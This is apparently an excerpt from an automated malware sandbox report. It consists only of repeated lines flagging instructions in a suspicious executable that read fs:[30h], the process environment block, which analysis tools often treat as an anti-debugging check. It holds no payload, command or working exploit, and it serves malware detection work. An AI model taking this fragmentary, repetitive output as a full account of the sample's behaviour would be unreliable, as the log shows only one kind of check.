Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA2C3 mov eax, dword ptr fs:[00000030h]	3_2_012AA2C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA2C3 mov eax, dword ptr fs:[00000030h]	3_2_012AA2C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA2C3 mov eax, dword ptr fs:[00000030h]	3_2_012AA2C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA2C3 mov eax, dword ptr fs:[00000030h]	3_2_012AA2C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA2C3 mov eax, dword ptr fs:[00000030h]	3_2_012AA2C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE53E mov eax, dword ptr fs:[00000030h]	3_2_012CE53E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE53E mov eax, dword ptr fs:[00000030h]	3_2_012CE53E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE53E mov eax, dword ptr fs:[00000030h]	3_2_012CE53E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE53E mov eax, dword ptr fs:[00000030h]	3_2_012CE53E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE53E mov eax, dword ptr fs:[00000030h]	3_2_012CE53E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0535 mov eax, dword ptr fs:[00000030h]	3_2_012B0535
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0535 mov eax, dword ptr fs:[00000030h]	3_2_012B0535
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0535 mov eax, dword ptr fs:[00000030h]	3_2_012B0535
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0535 mov eax, dword ptr fs:[00000030h]	3_2_012B0535
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0535 mov eax, dword ptr fs:[00000030h]	3_2_012B0535
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0535 mov eax, dword ptr fs:[00000030h]	3_2_012B0535
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01336500 mov eax, dword ptr fs:[00000030h]	3_2_01336500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374500 mov eax, dword ptr fs:[00000030h]	3_2_01374500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374500 mov eax, dword ptr fs:[00000030h]	3_2_01374500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374500 mov eax, dword ptr fs:[00000030h]	3_2_01374500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374500 mov eax, dword ptr fs:[00000030h]	3_2_01374500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374500 mov eax, dword ptr fs:[00000030h]	3_2_01374500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374500 mov eax, dword ptr fs:[00000030h]	3_2_01374500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374500 mov eax, dword ptr fs:[00000030h]	3_2_01374500
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D656A mov eax, dword ptr fs:[00000030h]	3_2_012D656A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D656A mov eax, dword ptr fs:[00000030h]	3_2_012D656A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D656A mov eax, dword ptr fs:[00000030h]	3_2_012D656A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8550 mov eax, dword ptr fs:[00000030h]	3_2_012A8550
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8550 mov eax, dword ptr fs:[00000030h]	3_2_012A8550
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013205A7 mov eax, dword ptr fs:[00000030h]	3_2_013205A7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013205A7 mov eax, dword ptr fs:[00000030h]	3_2_013205A7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013205A7 mov eax, dword ptr fs:[00000030h]	3_2_013205A7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C45B1 mov eax, dword ptr fs:[00000030h]	3_2_012C45B1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C45B1 mov eax, dword ptr fs:[00000030h]	3_2_012C45B1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D4588 mov eax, dword ptr fs:[00000030h]	3_2_012D4588
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A2582 mov eax, dword ptr fs:[00000030h]	3_2_012A2582
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A2582 mov ecx, dword ptr fs:[00000030h]	3_2_012A2582
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE59C mov eax, dword ptr fs:[00000030h]	3_2_012DE59C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC5ED mov eax, dword ptr fs:[00000030h]	3_2_012DC5ED
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC5ED mov eax, dword ptr fs:[00000030h]	3_2_012DC5ED
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A25E0 mov eax, dword ptr fs:[00000030h]	3_2_012A25E0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE5E7 mov eax, dword ptr fs:[00000030h]	3_2_012CE5E7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE5CF mov eax, dword ptr fs:[00000030h]	3_2_012DE5CF
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE5CF mov eax, dword ptr fs:[00000030h]	3_2_012DE5CF
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A65D0 mov eax, dword ptr fs:[00000030h]	3_2_012A65D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA5D0 mov eax, dword ptr fs:[00000030h]	3_2_012DA5D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA5D0 mov eax, dword ptr fs:[00000030h]	3_2_012DA5D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129E420 mov eax, dword ptr fs:[00000030h]	3_2_0129E420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129E420 mov eax, dword ptr fs:[00000030h]	3_2_0129E420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129E420 mov eax, dword ptr fs:[00000030h]	3_2_0129E420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129C427 mov eax, dword ptr fs:[00000030h]	3_2_0129C427
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326420 mov eax, dword ptr fs:[00000030h]	3_2_01326420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326420 mov eax, dword ptr fs:[00000030h]	3_2_01326420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326420 mov eax, dword ptr fs:[00000030h]	3_2_01326420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326420 mov eax, dword ptr fs:[00000030h]	3_2_01326420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326420 mov eax, dword ptr fs:[00000030h]	3_2_01326420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326420 mov eax, dword ptr fs:[00000030h]	3_2_01326420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326420 mov eax, dword ptr fs:[00000030h]	3_2_01326420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA430 mov eax, dword ptr fs:[00000030h]	3_2_012DA430
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D8402 mov eax, dword ptr fs:[00000030h]	3_2_012D8402
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D8402 mov eax, dword ptr fs:[00000030h]	3_2_012D8402
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D8402 mov eax, dword ptr fs:[00000030h]	3_2_012D8402
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132C460 mov ecx, dword ptr fs:[00000030h]	3_2_0132C460
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CA470 mov eax, dword ptr fs:[00000030h]	3_2_012CA470
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CA470 mov eax, dword ptr fs:[00000030h]	3_2_012CA470
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CA470 mov eax, dword ptr fs:[00000030h]	3_2_012CA470
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135A456 mov eax, dword ptr fs:[00000030h]	3_2_0135A456
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE443 mov eax, dword ptr fs:[00000030h]	3_2_012DE443
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129645D mov eax, dword ptr fs:[00000030h]	3_2_0129645D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C245A mov eax, dword ptr fs:[00000030h]	3_2_012C245A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A64AB mov eax, dword ptr fs:[00000030h]	3_2_012A64AB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132A4B0 mov eax, dword ptr fs:[00000030h]	3_2_0132A4B0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D44B0 mov ecx, dword ptr fs:[00000030h]	3_2_012D44B0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135A49A mov eax, dword ptr fs:[00000030h]	3_2_0135A49A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A04E5 mov ecx, dword ptr fs:[00000030h]	3_2_012A04E5
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131C730 mov eax, dword ptr fs:[00000030h]	3_2_0131C730
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC720 mov eax, dword ptr fs:[00000030h]	3_2_012DC720
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC720 mov eax, dword ptr fs:[00000030h]	3_2_012DC720
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D273C mov eax, dword ptr fs:[00000030h]	3_2_012D273C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D273C mov ecx, dword ptr fs:[00000030h]	3_2_012D273C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D273C mov eax, dword ptr fs:[00000030h]	3_2_012D273C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC700 mov eax, dword ptr fs:[00000030h]	3_2_012DC700
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0710 mov eax, dword ptr fs:[00000030h]	3_2_012A0710
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D0710 mov eax, dword ptr fs:[00000030h]	3_2_012D0710
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8770 mov eax, dword ptr fs:[00000030h]	3_2_012A8770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770 mov eax, dword ptr fs:[00000030h]	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D674D mov esi, dword ptr fs:[00000030h]	3_2_012D674D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D674D mov eax, dword ptr fs:[00000030h]	3_2_012D674D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D674D mov eax, dword ptr fs:[00000030h]	3_2_012D674D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01324755 mov eax, dword ptr fs:[00000030h]	3_2_01324755
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132E75D mov eax, dword ptr fs:[00000030h]	3_2_0132E75D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0750 mov eax, dword ptr fs:[00000030h]	3_2_012A0750
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2750 mov eax, dword ptr fs:[00000030h]	3_2_012E2750
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2750 mov eax, dword ptr fs:[00000030h]	3_2_012E2750
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A07AF mov eax, dword ptr fs:[00000030h]	3_2_012A07AF
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013547A0 mov eax, dword ptr fs:[00000030h]	3_2_013547A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134678E mov eax, dword ptr fs:[00000030h]	3_2_0134678E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C27ED mov eax, dword ptr fs:[00000030h]	3_2_012C27ED
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C27ED mov eax, dword ptr fs:[00000030h]	3_2_012C27ED
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C27ED mov eax, dword ptr fs:[00000030h]	3_2_012C27ED
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A47FB mov eax, dword ptr fs:[00000030h]	3_2_012A47FB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A47FB mov eax, dword ptr fs:[00000030h]	3_2_012A47FB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132E7E1 mov eax, dword ptr fs:[00000030h]	3_2_0132E7E1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AC7C0 mov eax, dword ptr fs:[00000030h]	3_2_012AC7C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013207C3 mov eax, dword ptr fs:[00000030h]	3_2_013207C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A262C mov eax, dword ptr fs:[00000030h]	3_2_012A262C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE627 mov eax, dword ptr fs:[00000030h]	3_2_012BE627
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D6620 mov eax, dword ptr fs:[00000030h]	3_2_012D6620
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D8620 mov eax, dword ptr fs:[00000030h]	3_2_012D8620
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B260B mov eax, dword ptr fs:[00000030h]	3_2_012B260B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B260B mov eax, dword ptr fs:[00000030h]	3_2_012B260B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B260B mov eax, dword ptr fs:[00000030h]	3_2_012B260B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B260B mov eax, dword ptr fs:[00000030h]	3_2_012B260B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B260B mov eax, dword ptr fs:[00000030h]	3_2_012B260B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B260B mov eax, dword ptr fs:[00000030h]	3_2_012B260B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B260B mov eax, dword ptr fs:[00000030h]	3_2_012B260B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2619 mov eax, dword ptr fs:[00000030h]	3_2_012E2619
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E609 mov eax, dword ptr fs:[00000030h]	3_2_0131E609
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA660 mov eax, dword ptr fs:[00000030h]	3_2_012DA660
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA660 mov eax, dword ptr fs:[00000030h]	3_2_012DA660
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136866E mov eax, dword ptr fs:[00000030h]	3_2_0136866E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136866E mov eax, dword ptr fs:[00000030h]	3_2_0136866E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D2674 mov eax, dword ptr fs:[00000030h]	3_2_012D2674
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BC640 mov eax, dword ptr fs:[00000030h]	3_2_012BC640
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC6A6 mov eax, dword ptr fs:[00000030h]	3_2_012DC6A6
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D66B0 mov eax, dword ptr fs:[00000030h]	3_2_012D66B0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A4690 mov eax, dword ptr fs:[00000030h]	3_2_012A4690
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A4690 mov eax, dword ptr fs:[00000030h]	3_2_012A4690
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0131E6F2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0131E6F2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0131E6F2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0131E6F2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013206F1 mov eax, dword ptr fs:[00000030h]	3_2_013206F1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013206F1 mov eax, dword ptr fs:[00000030h]	3_2_013206F1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA6C7 mov ebx, dword ptr fs:[00000030h]	3_2_012DA6C7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA6C7 mov eax, dword ptr fs:[00000030h]	3_2_012DA6C7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132892A mov eax, dword ptr fs:[00000030h]	3_2_0132892A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0133892B mov eax, dword ptr fs:[00000030h]	3_2_0133892B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132C912 mov eax, dword ptr fs:[00000030h]	3_2_0132C912
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01298918 mov eax, dword ptr fs:[00000030h]	3_2_01298918
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01298918 mov eax, dword ptr fs:[00000030h]	3_2_01298918
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E908 mov eax, dword ptr fs:[00000030h]	3_2_0131E908
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E908 mov eax, dword ptr fs:[00000030h]	3_2_0131E908
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E096E mov eax, dword ptr fs:[00000030h]	3_2_012E096E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E096E mov edx, dword ptr fs:[00000030h]	3_2_012E096E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E096E mov eax, dword ptr fs:[00000030h]	3_2_012E096E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01344978 mov eax, dword ptr fs:[00000030h]	3_2_01344978
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01344978 mov eax, dword ptr fs:[00000030h]	3_2_01344978
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C6962 mov eax, dword ptr fs:[00000030h]	3_2_012C6962
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C6962 mov eax, dword ptr fs:[00000030h]	3_2_012C6962
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C6962 mov eax, dword ptr fs:[00000030h]	3_2_012C6962
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132C97C mov eax, dword ptr fs:[00000030h]	3_2_0132C97C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01320946 mov eax, dword ptr fs:[00000030h]	3_2_01320946
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374940 mov eax, dword ptr fs:[00000030h]	3_2_01374940
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013289B3 mov esi, dword ptr fs:[00000030h]	3_2_013289B3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013289B3 mov eax, dword ptr fs:[00000030h]	3_2_013289B3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013289B3 mov eax, dword ptr fs:[00000030h]	3_2_013289B3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A09AD mov eax, dword ptr fs:[00000030h]	3_2_012A09AD
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A09AD mov eax, dword ptr fs:[00000030h]	3_2_012A09AD
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
